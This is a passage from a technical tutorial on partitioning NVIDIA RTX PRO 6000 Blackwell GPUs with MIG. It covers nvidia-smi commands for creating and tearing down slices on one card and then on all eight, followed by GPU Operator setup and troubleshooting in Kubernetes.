Warning: persistence mode is disabled on device 00000000:01:00.0. See the Known Issues section of the nvidia-smi(1) man page for more information. Run with [--help | -h] switch to get more information on how to enable persistence mode.
All done.
```

The warning is expected: we stopped `nvidia-persistenced` ourselves one step ago, and the driver is just pointing that out. If the driver cannot flip the mode because a client is still attached, it reports the GPU as being in a *pending enable* state instead. Kill the remaining clients (or reboot) and the mode activates.

At this point the GPU is in MIG mode but has zero slices, which means **no CUDA workload can use it at all** until you carve instances. An enabled-but-empty MIG GPU is effectively offline for compute. Do not stop halfway.

### Step 3: See what profiles the card supports

Ask the driver what shapes it can cut:

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi mig -i 0 -lgip
+-------------------------------------------------------------------------------+
| GPU instance profiles:                                                        |
| GPU   Name               ID    Instances   Memory     P2P    SM    DEC   ENC  |
|                                Free/Total   GiB              CE    JPEG  OFA  |
|===============================================================================|
|   0  MIG 1g.24gb         14     4/4        23.62      No     46     1     1   |
|                                                               1     1     0   |
+-------------------------------------------------------------------------------+
|   0  MIG 1g.24gb+me      21     1/1        23.62      No     46     1     1   |
|                                                               1     1     1   |
+-------------------------------------------------------------------------------+
|   0  MIG 1g.24gb+gfx     47     4/4        23.62      No     46     1     1   |
|                                                               1     1     0   |
+-------------------------------------------------------------------------------+
|   0  MIG 1g.24gb+me.all  65     1/1        23.62      No     46     4     4   |
|                                                               1     4     1   |
+-------------------------------------------------------------------------------+
|   0  MIG 1g.24gb-me      67     4/4        23.62      No     46     0     0   |
|                                                               1     0     0   |
+-------------------------------------------------------------------------------+
|   0  MIG 2g.48gb          5     2/2        47.38      No     94     2     2   |
|                                                               2     2     0   |
+-------------------------------------------------------------------------------+
|   0  MIG 2g.48gb+gfx     35     2/2        47.38      No     94     2     2   |
|                                                               2     2     0   |
+-------------------------------------------------------------------------------+
|   0  MIG 2g.48gb+me.all  64     1/1        47.38      No     94     4     4   |
|                                                               2     4     1   |
+-------------------------------------------------------------------------------+
|   0  MIG 2g.48gb-me      66     2/2        47.38      No     94     0     0   |
|                                                               2     0     0   |
+-------------------------------------------------------------------------------+
|   0  MIG 4g.96gb          0     1/1        95.12      No     188    4     4   |
|                                                               4     4     1   |
+-------------------------------------------------------------------------------+
|   0  MIG 4g.96gb+gfx     32     1/1        95.12      No     188    4     4   |
|                                                               4     4     1   |
+-------------------------------------------------------------------------------+
```

Read this table carefully, it is the source of truth for your card:

- **ID** is the numeric profile ID you can use in create commands (`14` and the name `1g.24gb` are interchangeable).
- **Instances Free/Total** tells you how many of each profile fit: four 1g.24gb slices, or two 2g.48gb, or one 4g.96gb.
- **SM** confirms the compute split: 46/94/188 SMs.
- The suffixed variants redistribute the media engines and graphics support. Every plain slice already gets a proportional share of the media engines (the `1g.24gb` row shows one NVDEC and one NVENC). The suffixes change that: `-me` strips them out for a pure-compute slice, `+me.all` hands a single slice all of the card's decode/encode engines (hence it is limited to 1/1), and `+gfx` (new on Blackwell) enables graphics APIs inside the slice.

You can also ask where those slices physically land on the card:

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi mig -i 0 -lgipp
GPU  0 Profile ID 14 Placements: {0,3,6,9}:3
GPU  0 Profile ID 21 Placements: {0,3,6,9}:3
GPU  0 Profile ID 47 Placements: {0,3,6,9}:3
GPU  0 Profile ID 65 Placements: {0,3,6,9}:3
GPU  0 Profile ID 67 Placements: {0,3,6,9}:3
GPU  0 Profile ID  5 Placements: {0,6}:6
GPU  0 Profile ID 35 Placements: {0,6}:6
GPU  0 Profile ID 64 Placements: {0,6}:6
GPU  0 Profile ID 66 Placements: {0,6}:6
GPU  0 Profile ID  0 Placement : {0}:12
GPU  0 Profile ID 32 Placement : {0}:12
```

Think of the card's memory as a row of 12 equal parking spots. A `1g.24gb` slice is a small car that takes 3 spots, a `2g.48gb` is a longer car that takes 6, and the whole-card `4g.96gb` takes all 12. The `{0,3,6,9}:3` notation just lists where each size is allowed to park: a small slice can start at spot 0, 3, 6, or 9; a `2g.48gb` needs 6 spots in a row, so it can only start at 0 or 6.

This is where fragmentation bites. Say you park one small slice starting at spot 3 and another at spot 6. You have used 6 of the 12 spots, so half the card looks free, but the free spots are 0-2 and 9-11: two separate gaps of 3. A `2g.48gb` needs 6 in a row, and there is no run of 6 left, so it will not fit even though half the memory is idle. The fix is to plan the layout up front (carve the big slices first, or make every slice the same size) instead of adding slices ad hoc and painting yourself into a corner.

### Step 4: Carve the slices

Create four `1g.24gb` GPU instances, each with its compute instance, in one command. `-cgi` creates the GPU Instances (the land), and the `-C` flag immediately builds the matching Compute Instance (the building) inside each one:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -i 0 -cgi 1g.24gb,1g.24gb,1g.24gb,1g.24gb -C
Successfully created GPU instance ID  3 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  3 using profile MIG 1g.24gb (ID  0)
Successfully created GPU instance ID  4 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  4 using profile MIG 1g.24gb (ID  0)
Successfully created GPU instance ID  5 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  5 using profile MIG 1g.24gb (ID  0)
Successfully created GPU instance ID  6 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  6 using profile MIG 1g.24gb (ID  0)
```

`sudo nvidia-smi mig -i 0 -cgi 14,14,14,14 -C` does exactly the same thing using the profile IDs from the table above.

You do not have to make them all the same size. Want one big tenant and two small ones on the same card? Mix profiles:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -i 0 -cgi 2g.48gb,1g.24gb,1g.24gb -C
Successfully created GPU instance ID  1 on GPU  0 using profile MIG 2g.48gb (ID  5)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  1 using profile MIG 2g.48gb (ID  1)
Successfully created GPU instance ID  5 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  5 using profile MIG 1g.24gb (ID  0)
Successfully created GPU instance ID  6 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  6 using profile MIG 1g.24gb (ID  0)

root@gpu-rtxpro6000-8:~# nvidia-smi mig -i 0 -lgi
+---------------------------------------------------------+
| GPU instances:                                          |
| GPU   Name               Profile  Instance   Placement  |
|                            ID       ID       Start:Size |
|=========================================================|
|   0  MIG 1g.24gb           14        5          6:3     |
+---------------------------------------------------------+
|   0  MIG 1g.24gb           14        6          9:3     |
+---------------------------------------------------------+
|   0  MIG 2g.48gb            5        1          0:6     |
+---------------------------------------------------------+
```

One 48GB half-card slice (placement 0:6) plus two 24GB quarter-card slices (6:3 and 9:3), and the placement grid adds up to exactly 12. This is how you serve a large LLM and two small inference services from a single physical GPU with hard boundaries between them. For the rest of this walkthrough we stick with the uniform four-slice layout, so tear the mixed one down (`-dci`, then `-dgi`) and recreate the four `1g.24gb` slices if you followed along.

### Step 5: Verify the slices exist

Three views of the same truth. The device list:

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi -L
GPU 0: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-8b89b58e-b427-108d-ac50-06138d78fe78)
  MIG 1g.24gb     Device  0: (UUID: MIG-445da789-865d-5fd1-b2b6-32a48bf66c39)
  MIG 1g.24gb     Device  1: (UUID: MIG-e78fd5d2-f2de-5632-8961-9a368cec8080)
  MIG 1g.24gb     Device  2: (UUID: MIG-b8861912-6285-56a1-99ca-297ac0f38ddb)
  MIG 1g.24gb     Device  3: (UUID: MIG-f46c5ab9-40ef-54a2-b796-a2101a6ed56d)
GPU 1: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-03a041b7-8abf-360a-d1a2-dfd70188cd5f)
...
```

Every MIG device has its own UUID. This is exactly how the Kubernetes device plugin will identify and schedule the slices later.

The GPU instances (the land plots) with their physical placements:

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi mig -i 0 -lgi
+---------------------------------------------------------+
| GPU instances:                                          |
| GPU   Name               Profile  Instance   Placement  |
|                            ID       ID       Start:Size |
|=========================================================|
|   0  MIG 1g.24gb           14        3          0:3     |
+---------------------------------------------------------+
|   0  MIG 1g.24gb           14        4          3:3     |
+---------------------------------------------------------+
|   0  MIG 1g.24gb           14        5          6:3     |
+---------------------------------------------------------+
|   0  MIG 1g.24gb           14        6          9:3     |
+---------------------------------------------------------+
```

Each instance occupies 3 units of the 12-unit placement grid, exactly as `-lgipp` promised. And the compute instances (the buildings) inside them:

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi mig -i 0 -lci
+--------------------------------------------------------------------+
| Compute instances:                                                 |
| GPU     GPU       Name             Profile   Instance   Placement  |
|       Instance                       ID        ID       Start:Size |
|         ID                                                         |
|====================================================================|
|   0      3       MIG 1g.24gb          0         0          0:1     |
+--------------------------------------------------------------------+
|   0      4       MIG 1g.24gb          0         0          0:1     |
+--------------------------------------------------------------------+
|   0      5       MIG 1g.24gb          0         0          0:1     |
+--------------------------------------------------------------------+
|   0      6       MIG 1g.24gb          0         0          0:1     |
+--------------------------------------------------------------------+
```

### Step 6: Run something on a slice (no Kubernetes needed)

MIG slices are addressable directly from the host via their UUID. This is handy for smoke-testing before the cluster ever gets involved. With PyTorch available on the host (a quick `python3 -m venv` plus `pip install torch --index-url https://download.pytorch.org/whl/cu130` is enough), pin a process to the first slice's UUID from `nvidia-smi -L`:

```sh
root@gpu-rtxpro6000-8:~# CUDA_VISIBLE_DEVICES=MIG-445da789-865d-5fd1-b2b6-32a48bf66c39 python3 -c "
import torch
print('device count:', torch.cuda.device_count())
print('device name :', torch.cuda.get_device_name(0))
print('total memory:', torch.cuda.get_device_properties(0).total_memory // 2**20, 'MiB')"
device count: 1
device name : NVIDIA RTX PRO 6000 Blackwell Server Edition MIG 1g.24gb
total memory: 24192 MiB
```

The process sees exactly one device, it identifies itself as a `1g.24gb` slice, and it has 24192 MiB, not the 97887 MiB of the full card. Isolation is already in force at the host level, no Kubernetes required.

### Step 7: Tear it all down (disable MIG)

You will reconfigure slices far more often than you think: profile sizes change, tenants come and go, and sometimes you just want the whole card back for one big training run. Remember the hierarchy rule: buildings before land. Compute instances first, then GPU instances, then the mode itself.

Destroy the compute instances on GPU 0:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -i 0 -dci
Successfully destroyed compute instance ID  0 from GPU  0 GPU instance ID  3
Successfully destroyed compute instance ID  0 from GPU  0 GPU instance ID  4
Successfully destroyed compute instance ID  0 from GPU  0 GPU instance ID  5
Successfully destroyed compute instance ID  0 from GPU  0 GPU instance ID  6
```

Then the GPU instances:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -i 0 -dgi
Successfully destroyed GPU instance ID  3 from GPU  0
Successfully destroyed GPU instance ID  4 from GPU  0
Successfully destroyed GPU instance ID  5 from GPU  0
Successfully destroyed GPU instance ID  6 from GPU  0
```

If you run `-dgi` before `-dci`, the driver rejects it. This is what actually happens if you try:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -i 0 -dgi
Unable to destroy GPU instance ID  3 from GPU  0: In use by another client
Failed to destroy GPU instances: In use by another client
```

That is the land-and-building rule enforced in silicon: the CI still standing on GI 3 is the "another client".

Also note: a slice with a running workload cannot be destroyed. Stop the pods or processes using it first, otherwise `-dci` fails with the same *In use by another client* error.

Now disable MIG mode:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi -i 0 -mig 0
Disabled MIG Mode for GPU 00000000:01:00.0

Warning: persistence mode is disabled on device 00000000:01:00.0. See the Known Issues section of the nvidia-smi(1) man page for more information. Run with [--help | -h] switch to get more information on how to enable persistence mode.
All done.
```

And confirm the card is whole again, then bring back the persistence daemon we stopped in Step 1:

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi -i 0 --query-gpu=index,mig.mode.current --format=csv
index, mig.mode.current
0, Disabled

root@gpu-rtxpro6000-8:~# nvidia-smi -L | head -1
GPU 0: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-8b89b58e-b427-108d-ac50-06138d78fe78)

root@gpu-rtxpro6000-8:~# sudo systemctl start nvidia-persistenced
```

One GPU, full lifecycle, both directions. That is the entire mechanical core of MIG.

## Hands-On Part 2: All 8 GPUs at Once

Everything above used `-i 0` to target one card. The scaling trick is almost embarrassing: **drop the `-i` flag and every command applies to all GPUs**.

Enable MIG everywhere:

```sh
root@gpu-rtxpro6000-8:~# sudo systemctl stop nvidia-persistenced
root@gpu-rtxpro6000-8:~# sudo nvidia-smi -mig 1
Enabled MIG Mode for GPU 00000000:01:00.0
Enabled MIG Mode for GPU 00000000:21:00.0
Enabled MIG Mode for GPU 00000000:41:00.0
Enabled MIG Mode for GPU 00000000:61:00.0
Enabled MIG Mode for GPU 00000000:81:00.0
Enabled MIG Mode for GPU 00000000:A1:00.0
Enabled MIG Mode for GPU 00000000:C1:00.0
Enabled MIG Mode for GPU 00000000:E1:00.0
All done.
```

(The per-GPU persistence-mode warnings are trimmed here; they are the same one we saw in Part 1.)

Carve four slices on every MIG-enabled card in one command. The same GI IDs 3 through 6 appear on each of the 8 GPUs:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -cgi 1g.24gb,1g.24gb,1g.24gb,1g.24gb -C
Successfully created GPU instance ID  3 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  3 using profile MIG 1g.24gb (ID  0)
Successfully created GPU instance ID  4 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  4 using profile MIG 1g.24gb (ID  0)
Successfully created GPU instance ID  5 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  5 using profile MIG 1g.24gb (ID  0)
Successfully created GPU instance ID  6 on GPU  0 using profile MIG 1g.24gb (ID 14)
Successfully created compute instance ID  0 on GPU  0 GPU instance ID  6 using profile MIG 1g.24gb (ID  0)
... (identical output repeats for GPU 1 through GPU 7) ...

root@gpu-rtxpro6000-8:~# sudo systemctl start nvidia-persistenced
```

And verify. This is the money shot, 8 physical cards now presenting as 32 isolated devices:

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi -L

GPU 0: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-8b89b58e-b427-108d-ac50-06138d78fe78)
  MIG 1g.24gb     Device  0: (UUID: MIG-445da789-865d-5fd1-b2b6-32a48bf66c39)
  MIG 1g.24gb     Device  1: (UUID: MIG-e78fd5d2-f2de-5632-8961-9a368cec8080)
  MIG 1g.24gb     Device  2: (UUID: MIG-b8861912-6285-56a1-99ca-297ac0f38ddb)
  MIG 1g.24gb     Device  3: (UUID: MIG-f46c5ab9-40ef-54a2-b796-a2101a6ed56d)
GPU 1: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-03a041b7-8abf-360a-d1a2-dfd70188cd5f)
  MIG 1g.24gb     Device  0: (UUID: MIG-c614986b-8ca6-5114-b292-f7fdf532b32e)
  MIG 1g.24gb     Device  1: (UUID: MIG-ba182ecc-31c1-5a67-92f1-b6f14f39cc2f)
  MIG 1g.24gb     Device  2: (UUID: MIG-5976103f-bae0-5bd9-8de2-efcb0651ae5d)
  MIG 1g.24gb     Device  3: (UUID: MIG-09aa478f-191b-55ce-a012-235285f56a44)
GPU 2: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-ba09367f-dd50-32ca-e988-7ff66bece885)
  MIG 1g.24gb     Device  0: (UUID: MIG-07cdcefa-6330-5da7-9f25-0686ef5e6e7d)
  MIG 1g.24gb     Device  1: (UUID: MIG-91b206d2-cfbb-57d3-9ffb-00151f932469)
  MIG 1g.24gb     Device  2: (UUID: MIG-83bf707a-b369-5de9-a22a-e882e2a15f23)
  MIG 1g.24gb     Device  3: (UUID: MIG-db98d829-38c6-5490-ab37-54b3c1911690)
GPU 3: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-30512c46-708b-f374-5698-ee24be6cd626)
  MIG 1g.24gb     Device  0: (UUID: MIG-2d5513c3-03f4-54f0-9c70-688f7472c927)
  MIG 1g.24gb     Device  1: (UUID: MIG-471a3e25-40ba-5794-9d7b-2dfa7aa0a0ab)
  MIG 1g.24gb     Device  2: (UUID: MIG-f8584627-55b2-52be-ac92-0b4708e7dad6)
  MIG 1g.24gb     Device  3: (UUID: MIG-6e4f5dfc-7e1f-59dc-9fec-a13642abcd08)
GPU 4: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288)
  MIG 1g.24gb     Device  0: (UUID: MIG-0b090ecd-97b3-5022-b410-353a54064db3)
  MIG 1g.24gb     Device  1: (UUID: MIG-12e12a0a-56aa-5258-9cce-fb652a6d60ca)
  MIG 1g.24gb     Device  2: (UUID: MIG-e80daae6-94df-5114-b105-f4b8e14fe00c)
  MIG 1g.24gb     Device  3: (UUID: MIG-c652619d-ef73-5243-8313-163ba19341ce)
GPU 5: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-04dc48d7-7048-aef5-ad36-f5db716e7668)
  MIG 1g.24gb     Device  0: (UUID: MIG-ac982967-d17f-5636-8641-078e3f7ee88a)
  MIG 1g.24gb     Device  1: (UUID: MIG-9a6a33e8-352c-5b71-8523-7918f07f19d3)
  MIG 1g.24gb     Device  2: (UUID: MIG-dcdb7566-7372-56e3-ac66-29bbc7332280)
  MIG 1g.24gb     Device  3: (UUID: MIG-61f3820e-e817-5ae1-ac70-7d4ccc6752bd)
GPU 6: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-f4f5db98-143f-0a8d-47ce-956fab39a736)
  MIG 1g.24gb     Device  0: (UUID: MIG-fdae208b-7b6b-5360-b14d-7943f835591d)
  MIG 1g.24gb     Device  1: (UUID: MIG-bd87ccf3-dd60-556b-8fae-dd76a00f9f32)
  MIG 1g.24gb     Device  2: (UUID: MIG-4eb83867-7a48-50ec-98e4-590ca4a34bdb)
  MIG 1g.24gb     Device  3: (UUID: MIG-aa39a320-78fe-54f3-a33f-4e14a69a34fc)
GPU 7: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-f4c61521-240a-da09-2787-e576034e197e)
  MIG 1g.24gb     Device  0: (UUID: MIG-83e26b2c-d325-5f9e-b6ab-1dd76bf49ee0)
  MIG 1g.24gb     Device  1: (UUID: MIG-769267a5-61cf-5391-815c-df1af5592f2f)
  MIG 1g.24gb     Device  2: (UUID: MIG-bd09eec4-b779-57ff-b2e9-0c5dd4db132d)
  MIG 1g.24gb     Device  3: (UUID: MIG-0f8a469f-1116-5095-9e94-65e7809b554d)
```

Each physical card can now serve 4 tenants independently, each with a hardware-isolated slice. Across 8 cards, that is 32 schedulable GPUs where you previously had 8, and you did not buy a single new card.

The fleet-wide teardown is the same story without `-i`, in the same strict order. First all compute instances, then all GPU instances (32 "Successfully destroyed" lines each, trimmed to the last GPU here), then the mode itself:

```sh
root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -dci
...
Successfully destroyed compute instance ID  0 from GPU  7 GPU instance ID  3
Successfully destroyed compute instance ID  0 from GPU  7 GPU instance ID  4
Successfully destroyed compute instance ID  0 from GPU  7 GPU instance ID  5
Successfully destroyed compute instance ID  0 from GPU  7 GPU instance ID  6

root@gpu-rtxpro6000-8:~# sudo nvidia-smi mig -dgi
...
Successfully destroyed GPU instance ID  3 from GPU  7
Successfully destroyed GPU instance ID  4 from GPU  7
Successfully destroyed GPU instance ID  5 from GPU  7
Successfully destroyed GPU instance ID  6 from GPU  7

root@gpu-rtxpro6000-8:~# sudo nvidia-smi -mig 0
Disabled MIG Mode for GPU 00000000:01:00.0
Disabled MIG Mode for GPU 00000000:21:00.0
Disabled MIG Mode for GPU 00000000:41:00.0
Disabled MIG Mode for GPU 00000000:61:00.0
Disabled MIG Mode for GPU 00000000:81:00.0
Disabled MIG Mode for GPU 00000000:A1:00.0
Disabled MIG Mode for GPU 00000000:C1:00.0
Disabled MIG Mode for GPU 00000000:E1:00.0
All done.

root@gpu-rtxpro6000-8:~# nvidia-smi --query-gpu=index,mig.mode.current --format=csv
index, mig.mode.current
0, Disabled
1, Disabled
2, Disabled
3, Disabled
4, Disabled
5, Disabled
6, Disabled
7, Disabled
```

Eight whole GPUs again, as if nothing happened.

## Bringing Kubernetes In: The GPU Operator

Everything we just did by hand works. It also does not scale. There is no way to GitOps a series of `nvidia-smi` commands and maintain them across a fleet. And the host slices are invisible to Kubernetes until something advertises them to the Kubelet.

To run GPU workloads inside containers, three distinct layers have to cooperate, and the **NVIDIA GPU Operator** manages all of them for you:

![The three-layer Kubernetes GPU stack managed by the GPU Operator](/img/blog/slicing-gpus-in-kubernetes-with-nvidia-mig/k8s-gpu-stack.png)

**Layer 1: The Host Kernel Driver.** Installed directly on the host OS. It interfaces with the physical PCIe silicon and exposes character device files such as `/dev/nvidia0` and `/dev/nvidiactl`. It does not know or care that Kubernetes exists.

**Layer 2: The Container Toolkit (the OCI integration).** Container runtimes like `containerd` can partition CPU and memory, but they cannot natively manage GPUs. The **NVIDIA Container Toolkit** hooks into containerd: when a container requests a GPU, it mounts the driver files (`/dev/nvidia*`, `libcuda.so`) into the container's namespace.

**Layer 3: The Kubernetes Device Plugin.** A DaemonSet that queries the host driver, counts the available GPUs or MIG slices, and advertises them to the Kubelet as schedulable capacity.

Install the operator with Helm:

```sh
root@gpu-rtxpro6000-8:~# helm repo add nvidia https://helm.ngc.nvidia.com/nvidia
root@gpu-rtxpro6000-8:~# helm repo update
root@gpu-rtxpro6000-8:~# helm install gpu-operator nvidia/gpu-operator \
  -n gpu-operator --create-namespace \
  --set mig.strategy=mixed
```

About that `mig.strategy` flag, it controls how slices show up as Kubernetes resources:

- **`single`** (the default): all GPUs on the node carry one uniform profile, and slices are advertised as plain `nvidia.com/gpu`. Workloads do not even know MIG is involved.
- **`mixed`:** each profile is advertised as its own resource, like `nvidia.com/mig-1g.24gb` or `nvidia.com/mig-2g.48gb`. This is what you want when different cards carry different geometries, or when workloads should explicitly pick a slice size.

We use `mixed` in this post so the slice type is visible end to end.

The operator deploys these components in the `gpu-operator` namespace:

- **`gpu-operator` (controller):** watches `ClusterPolicy` custom resources and reconciles all the DaemonSets below on every GPU node.
- **`node-feature-discovery (NFD)`:** scans host hardware and labels nodes (for example, `nvidia.com/gpu.present=true`).
- **`gpu-feature-discovery (GFD)`:** adds fine-grained GPU labels such as memory size, model, and active MIG profiles (for example, `nvidia.com/mig.config=all-1g.24gb`).
- **`nvidia-container-toolkit`:** registers the `nvidia` runtime class in `/etc/containerd/config.toml`:

```toml
[plugins.'io.containerd.cri.v1.runtime'.containerd.runtimes.'nvidia']
  runtime_type = "io.containerd.runc.v2"

[plugins.'io.containerd.cri.v1.runtime'.containerd.runtimes.'nvidia'.options]
  BinaryName = "/usr/local/nvidia/toolkit/nvidia-container-runtime"
  SystemdCgroup = true
```

- **`nvidia-device-plugin`:** queries the driver's NVML library for MIG slice UUIDs and advertises them to the Kubelet (for example, `nvidia.com/mig-1g.24gb: 32`).
- **`nvidia-mig-manager`:** watches the `nvidia.com/mig.config` node label and reconfigures MIG geometry declaratively. More on this next.
- **`nvidia-dcgm-exporter`:** exposes per-slice hardware telemetry on a Prometheus `/metrics` endpoint.
- **`nvidia-operator-validator`:** runs a one-shot CUDA job to verify the whole software-to-hardware pipeline before user pods land.

### Declarative MIG: One Label Instead of All Those Commands

With the operator in place, the entire hands-on section above compresses into a single node label:

```sh
root@gpu-rtxpro6000-8:~# kubectl label node <node-name> nvidia.com/mig.config=all-1g.24gb --overwrite
```

The MIG Manager notices the label and orchestrates the full lifecycle through a structured loop:

1. **Evicts GPU workloads:** sets the node's GPU allocatable to `0` and drains GPU pods to release device locks.
2. **Stops telemetry daemons:** pauses the device plugin and DCGM exporter so NVML has no clients.
3. **Resets state:** clears VRAM and any existing MIG geometry.
4. **Applies the new geometry:** enables MIG mode and carves GIs and CIs exactly like our manual commands did.
5. **Regenerates CDI specs:** writes new Container Device Interface configs so the runtime can inject the new devices.
6. **Restores the stack:** restarts the device plugin and exporter, which advertise the 32 new slices to the Kubelet.

Verify from the cluster side:

```sh
root@gpu-rtxpro6000-8:~# kubectl describe node <node-name> | grep mig-1g.24gb
  nvidia.com/mig-1g.24gb:  32
```

To go back to whole GPUs, the disable path is also just a label. `all-disabled` destroys every slice and turns MIG mode off, and the node advertises `nvidia.com/gpu: 8` again:

```sh
root@gpu-rtxpro6000-8:~# kubectl label node <node-name> nvidia.com/mig.config=all-disabled --overwrite
```

Mixed geometries are possible too: built-in profiles like `all-balanced`, or a custom layout in the `mig-parted` ConfigMap that gives different cards different shapes. Everything we did with `-cgi 2g.48gb,1g.24gb,1g.24gb` has a declarative equivalent.

### How the NVIDIA Runtime Injects GPUs into Containers

To understand why those containerd configuration blocks are necessary, here is the flow when a pod actually starts:

![How the NVIDIA runtime injects GPU devices into a container](/img/blog/slicing-gpus-in-kubernetes-with-nvidia-mig/nvidia-runtime-flow.png)

1. **Pod submission:** a developer submits a Pod requesting a GPU (`nvidia.com/gpu: 1` or a specific MIG resource).
2. **containerd interception:** containerd sees the pod uses the `nvidia` runtime class and prepares the container.
3. **nvidia-container-runtime (the middleman):** reads the container's environment (such as `NVIDIA_VISIBLE_DEVICES` carrying the MIG UUID), locates the matching device files under `/dev/nvidia*` and driver libraries like `libcuda.so` on the host, and injects them into the container's OCI spec.
4. **runc execution:** the modified spec goes to `runc`, which sets up namespaces, cgroups, and mounts, then starts the container.
5. **Workload runs:** PyTorch or TensorFlow inside the container talks to its GPU slice natively, because the devices and libraries were injected during the handshake.

## Common Production Pitfalls and How to Solve Them

Here is the quick-reference version, the way you will hit these at 2 AM:

| Symptom | Likely cause | Fix |
| --- | --- | --- |
| Toolkit cannot find containerd, or runtime class never appears | Non-standard containerd paths (RKE2/K3s) | Point the toolkit at the right socket and config via Helm env overrides (Pitfall A) |
| Your manual slices vanish after installing the Operator | MIG Manager defaults to `all-disabled` when no node label exists | Label the node with the matching `nvidia.com/mig.config` profile (Pitfall B) |
| You changed slices on the host but Kubernetes shows the old layout, Operator logs frozen | MIG Manager only reacts to node label events, it never polls the hardware | Restart the MIG Manager pod or toggle the label to force reconciliation (Pitfall C) |
| Manual MIG mode: Kubelet never discovers new slices | Nothing tells the device plugin the hardware changed | Disable `migManager` in Helm and restart the device plugin daemonset (Pitfall D) |

Now the details.

### Pitfall A: Non-Standard containerd Socket Configurations

The GPU Operator assumes default paths for the containerd socket and config files. If your setup runs containerd through RKE2, you must explicitly point the toolkit to the non-standard paths during Helm installation:

```yaml
toolkit:
  env:
    - name: CONTAINERD_CONFIG
      value: /var/lib/rancher/rke2/agent/etc/containerd/config.toml
    - name: CONTAINERD_SOCKET
      value: /run/k3s/containerd/containerd.sock
    - name: CONTAINERD_RUNTIME_CLASS
      value: nvidia
    - name: CONTAINERD_SET_AS_DEFAULT
      value: "true"
```

### Pitfall B: MIG Manager Overriding Host Configurations

If the `nvidia-mig-manager` pod is active and detects no configuration label on a node, it defaults to the `all-disabled` profile, wiping out any manual host-level slicing you performed. All that careful `nvidia-smi` work, gone.

**The fix:** apply the appropriate label to your node so it aligns with the operator's config:

```sh
root@gpu-rtxpro6000-8:~# kubectl label node <node-name> nvidia.com/mig.config=all-1g.24gb --overwrite
```

### Pitfall C: Host-Level State Drift Undetected by MIG Manager

If you manually delete or modify MIG profiles directly on the host using the `nvidia-smi` CLI, the changes will not be reflected in Kubernetes, and the operator will appear completely silent about it.

**The root cause:** the `nvidia-mig-manager` watches for **Kubernetes node label events**. It does not poll the host's physical GPU registers continuously. Because your manual host modifications do not trigger Kubernetes events, the manager remains idle, thinking the old state is still successfully applied (its logs will remain frozen).

**The fix (for operator-managed MIG):** trigger a reconciliation event. Either restart the MIG Manager pod (which forces a full check on boot) or toggle the node label back and forth:

```sh
# Option 1: Restart the MIG Manager daemonset
root@gpu-rtxpro6000-8:~# kubectl rollout restart daemonset -n gpu-operator nvidia-mig-manager

# Option 2: Toggle the node label to trigger the watch loop
root@gpu-rtxpro6000-8:~# kubectl label node <node-name> nvidia.com/mig.config=all-disabled --overwrite
# Wait 10 seconds, then re-apply:
root@gpu-rtxpro6000-8:~# kubectl label node <node-name> nvidia.com/mig.config=all-1g.24gb --overwrite
```

### Pitfall D: Forcing Kubelet Discovery for Manual MIG Configurations

Maybe you want the opposite arrangement: manage MIG slices manually on the host with the exact commands from the hands-on sections, prevent the GPU Operator from ever overwriting them, but still have Kubernetes discover and schedule workloads on those manual slices.

**The root cause:** when the automatic `nvidia-mig-manager` is disabled to allow manual slicing, there is no automated trigger to notify the Kubelet when the host-level MIG configuration changes.

**The fix (force Kubelet discovery):**

1. **Disable the MIG Manager in Helm** so the operator never wipes your manual settings:

```sh
root@gpu-rtxpro6000-8:~# helm upgrade --install gpu-operator nvidia/gpu-operator \
  -n gpu-operator \
  --set migManager.enabled=false \
  --set mig.strategy=mixed
```

2. **Provision host slices** manually with the `nvidia-smi mig -cgi ... -C` commands from Part 1 and Part 2.

3. **Force Kubelet discovery** by restarting the device plugin daemonset:

```sh
root@gpu-rtxpro6000-8:~# kubectl rollout restart daemonset -n gpu-operator nvidia-device-plugin-daemonset
```

## How to Monitor GPU Slices with Prometheus and Grafana

